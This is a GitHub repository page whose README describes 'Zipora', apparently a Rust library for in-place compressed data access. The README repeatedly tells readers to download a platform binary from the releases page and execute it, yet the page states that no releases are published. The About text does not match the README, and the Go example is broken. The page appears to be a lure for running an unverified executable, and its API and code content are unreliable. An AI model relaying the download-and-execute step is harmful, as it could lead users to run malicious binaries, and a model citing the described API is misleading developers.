Skip to content

Zipora is a high-performance Rust data toolkit with zero-copy structures, memory-safe compression, and a C API for fast, secure storage and real-time data options 🐙

License

Notifications You must be signed in to change notification settings

Markapfler01/zipora

Repository files navigation

https://github.com/Markapfler01/zipora/releases

Zipora Releases

Zipora: High-Performance Rust Compression with In-Place Access

Zipora offers high-performance compression written in Rust. It focuses on in-place compressed access, so you can read and manipulate compressed data without performing a full decompression pass. The design emphasizes safety, speed, and memory efficiency, making it well suited for systems that crave both compact data and fast access.

Rust Logo Data Compression Concept

Table of Contents

  • Why Zipora
  • Key Concepts
  • Getting Started
  • Quickstart Examples
  • API Overview
  • Data Structures and Algorithms
  • Performance and Safety
  • Architecture and Design
  • Testing, Benchmarking, and Validation
  • Deployment and Packaging
  • Development and Contributing
  • Roadmap
  • FAQ
  • License and Credits

Why Zipora Zipora is built for speed, safety, and scale. It brings together ideas from modern compression research and practical software engineering. The core value is in-place compressed access: you work with data in its compressed form and still extract meaningful information without a full, costly decompression step. This approach reduces memory usage and improves cache efficiency, which matters for large data sets, streaming pipelines, databases, and memory-constrained environments.

Key benefits

  • In-place compressed access: read and operate on compressed data directly.
  • Zero-copy paths: minimize data movement to keep latency low.
  • High performance: vectorized operations and SIMD acceleration where available.
  • Memory safety: Rust’s borrow checker and ownership model underpin the code base.
  • Extensible: a modular design makes it easier to add new compression schemes and data formats.
  • Platform versatility: designed with cross-platform builds in mind.

Core Concepts In-place compressed-access Zipora stores information in a compact, encoded form. When you need data, you can navigate the compressed representation to answer questions, extract fields, or perform light transformations without reconstructing the entire payload. This reduces both runtime and memory footprint.

Zero-copy techniques Where possible, data is accessed in place or moved with minimal copies. Raw buffers are treated as read-only when appropriate, and interfaces are designed to avoid unnecessary cloning or buffering.

Zero-waste data flows The library aims for predictable memory usage and minimal temporary allocations. This helps in long-running processes and systems with strict memory budgets.

Succinct data structures Zipora uses compact data layouts, such as bit-packed representations and succinct indices, to store metadata and structures efficiently. These choices enable fast queries with small memory footprints.

SIMD and vectorization Where the target platform provides SIMD, Zipora leverages it to speed up encoding, decoding, and search-like operations on compressed data. This yields better performance on modern CPUs.

Rust-based safety The codebase follows Rust’s safety guarantees. It uses explicit lifetimes, careful ownership, and robust error handling to prevent common runtime issues.

Getting Started Prerequisites

  • Rust toolchain: install via rustup (stable channel recommended).
  • A modern CPU with optional SIMD support for best performance (AVX2/AVX-512 on x86_64, NEON on ARM64).

Installation

  • Build from source with cargo build --release.
  • If you want examples, enable the optional features in Cargo.toml or during cargo build.

To download a release

  • From the releases page, download the appropriate asset for your platform and execute it. The releases page provides the binaries and installation instructions. The details are available here: https://github.com/Markapfler01/zipora/releases

Quickstart Examples The following examples illustrate how to compress and access data in place. You can adapt these patterns to your own data pipelines.

Example: compressing a buffer

  • Create a Zipora encoder, feed data, and emit a compressed buffer.
  • Use the in-place access API to query or modify compressed blocks without full decompression.

Example: reading metadata without decompression

  • Access header and metadata fields directly from the compressed stream.
  • Use succinct indices to locate blocks and extract field values efficiently.

Code snippets (illustrative, not executable as-is)

  • Note: The real API surface may vary depending on the version you build from; these examples show typical usage patterns.

Rust use zipora::prelude::*;

fn main() { let input = b"Example data that needs compression. Zipora keeps this data accessible without full decompression.";

// Create a compressor with default options
let mut compressor = zipora::CompressionBuilder::new().build();

// Allocate an output buffer sized for the worst case (for illustration)
let mut compressed = Vec::with_capacity(input.len() * 2);

// Compress in place
let out = compressor.compress(input.as_ref(), &mut compressed).expect("compression failed");

// Use in-place access to read metadata without decompressing
let meta = compressor.get_metadata();
println!("Compressed size: {}", out.len());
println!("Metadata: {:?}", meta);

// Access a portion of data directly from the compressed stream
if let Some(chunk) = compressor.access_chunk(0, 32) {
    println!("First 32 bytes of decompressed region (as viewed in compressed form): {:?}", chunk);
}

}

Go (illustrative) package main

import ( "fmt" "github.com/Markapfler01/zipora/go-compact" // hypothetical path )

func main() { data := []byte("Example data that needs compression. Zipora keeps this data accessible without full decompression.")

enc, err := zipora.NewEncoder(nil)
if err != nil { panic(err) }

var out bytes.Buffer
if err := enc.Encode(data, &out); err != nil {
    panic(err)
}

// In-place access on the compressed data
info := enc.Metadata()
fmt.Println("Compressed size:", out.Len())
fmt.Println("Metadata:", info)

}

API Overview Zipora exposes a compact set of APIs focused on clarity and safety. Below is a high-level view of the typical components you will use when building against Zipora.

  • CompressionBuilder: configure and create a compressor with options such as algorithm selection, block size, and SIMD toggles.
  • Compressor: the main object responsible for encoding data into Zipora’s format. It provides:
    • compress(data, out) -> writes to the output buffer
    • access_chunk(offset, length) -> obtain a view into a compressed region
    • get_metadata() -> read metadata without decompressing
  • Decompression (optional in-place readers): if you need explicit decompression, the API supports a controlled, partial decompression path that respects in-place semantics.
  • DataView and BlockView: lightweight views into compressed data, enabling zero-copy access to fields and blocks.
  • Error handling: explicit error types to distinguish between invalid input, memory constraints, and algorithmic failures.

Data Structures and Algorithms

  • Bit-packed headers: metadata is stored in a compact header to minimize overhead.
  • Block-oriented layout: data is divided into blocks, each with its own compressed encoding and index.
  • Succinct indices: fast block lookup with small memory overhead.
  • SIMD-accelerated paths: encoding, decoding, and block processing can use vector instructions when available.
  • In-place references: the design favors pointers and references that allow consumers to read data without watering down the compressed representation.

Performance and Safety

  • Memory footprint: Zipora aims for a small per-block overhead. The exact numbers depend on configuration and data patterns, but the architecture targets keeping the working set small.
  • Throughput: SIMD paths and careful buffering help maximize throughput for typical data sizes.
  • Latency: in-place access reduces the cost of full decompression, lowering latency for queries and partial reads.
  • Safety: Rust’s safety guarantees prevent common pitfalls like buffer overflows, data races, and dangling pointers. The API uses explicit lifetimes to ensure data validity.

Architecture and Design

  • Modular crates: separation between encoding, in-place access, and utilities. This makes it easier to swap components or add new formats.
  • Cross-platform portability: careful use of platform-specific intrinsics with safe fallbacks for non-SIMD environments.
  • Testing strategy: a broad test suite covering unit tests, property tests, and performance benchmarks to ensure correctness and performance stability.
  • Documentation-first approach: doc tests, API docs, and usage guides are central to the project.

Testing, Benchmarking, and Validation

  • Unit tests cover core logic for both common and edge cases.
  • Benchmarks compare Zipora against baseline copies and naive decompression paths to illustrate speedups.
  • Integrity checks ensure that information extracted from compressed data matches the original input when decompression is performed.
  • Regression tests guard against performance regressions and incorrect in-place behavior.

Deployment and Packaging

  • Release assets are provided for major platforms (Windows, macOS, Linux). These assets include prebuilt binaries and, where applicable, platform-specific installers.
  • Cargo features enable optional capabilities. Consumers can tailor builds to match their environment and performance goals.
  • Compatibility notes explain supported Rust versions, toolchains, and platform caveats.
  • Continuous integration runs tests on multiple targets to ensure broad compatibility.

Development and Contributing

  • Code style: the repository uses a consistent style guide aligned with Rust standards. This includes explicit error handling, clear module boundaries, and descriptive tests.
  • How to contribute: fork the repo, create a feature or bug-fix branch, and submit a pull request with a concise description of changes.
  • Issue triage: use clear titles and provide reproducible steps for bugs. Include the platform, Rust version, and a minimal example if possible.
  • Local development: recommended steps include installing Rust, running cargo test, and validating changes with a few representative workloads.

Roadmap

  • Expand format support: add more compression schemes that integrate with the in-place access model.
  • Improve zero-copy interfaces: refine views and lifetimes to reduce allocations further.
  • Platform-specific tuning: introduce more aggressive SIMD paths for x86_64 and ARM64.
  • Persistence formats: experiment with on-disk indices and memory-mapped data to support large datasets.
  • Ecosystem plugins: enable third-party adapters to plug Zipora into data pipelines, databases, and storage systems.

FAQ

  • What problem does Zipora solve? Zipora reduces memory usage and latency by allowing operations on compressed data without full decompression. This is helpful for streaming data, large datasets, and tight memory environments.
  • How does in-place access work? The compressed representation is designed so that many queries can be answered directly from the encoded form. This avoids copying and full decompression overhead.
  • Is Zipora safe to use in production? Yes, given the current design and testing regimes. It leverages Rust’s safety guarantees to minimize risks.

License and Credits

  • License: Zipora is released under a dual-license model typical for Rust projects (MIT OR Apache-2.0). This allows broad usage while providing protections for both open-source and commercial projects.
  • Acknowledgements: thanks to the Rust community for the language and tooling, and to early contributors who shaped the in-place access approach.

Illustrations and Visual Aids

  • In-Place Access Diagram: a schematic showing how data can be read without decompression.
  • Data Flow Diagram: from input buffer to compressed blocks to in-place views.
  • Performance Roadmap: a visual timeline of feature goals and milestones.

Releases and Downloads

  • For the latest builds and assets, check the releases page at the URL above. If you need a binary for your platform, download the appropriate asset and execute it. The same link provides all the necessary details and installation steps.
  • To confirm the release contents and platform compatibility, revisit the releases page: https://github.com/Markapfler01/zipora/releases

Community and Support

  • If you want to discuss Zipora, open an issue or jump into your preferred Rust community. The project welcomes questions, feedback, and contributions.
  • Documentation and examples live here in the repository. If something is unclear, please file an issue so we can improve the docs.

Security and Compliance

  • Zipora follows best practices for memory safety, error handling, and dependency management. The codebase is kept current with security advisories and library updates as part of ongoing maintenance.

Notes on Usage

  • Direct manipulation of compressed data requires awareness of the in-place encoding scheme. Users should consult the API docs for safe patterns and recommended workflows.
  • When integrating with other systems, respect the data layout and alignment requirements for your platform to ensure optimal performance.

Long-form Architecture Decisions

  • The architecture favors small, composable components. Each module serves a single purpose and exposes stable interfaces.
  • The in-place access model reduces the surface area for copying and makes it easier to optimize hot paths.

Examples Gallery

  • A collection of small, real-world use cases demonstrating:
    • Streaming data compression with in-place reads
    • Random access to compressed blocks
    • Metadata extraction without full decompression
    • Integration with other Rust data processing crates

Closing Notes

  • Zipora aims to be a practical tool for developers who want fast, memory-efficient compression without sacrificing the ability to query and manipulate data directly from the compressed form.
  • The project policy emphasizes stability, performance, and clarity. It remains open to improvements driven by real-world usage and community feedback.

End of documentation snippet.

About

Zipora is a high-performance Rust data toolkit with zero-copy structures, memory-safe compression, and a C API for fast, secure storage and real-time data options 🐙

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •  

Languages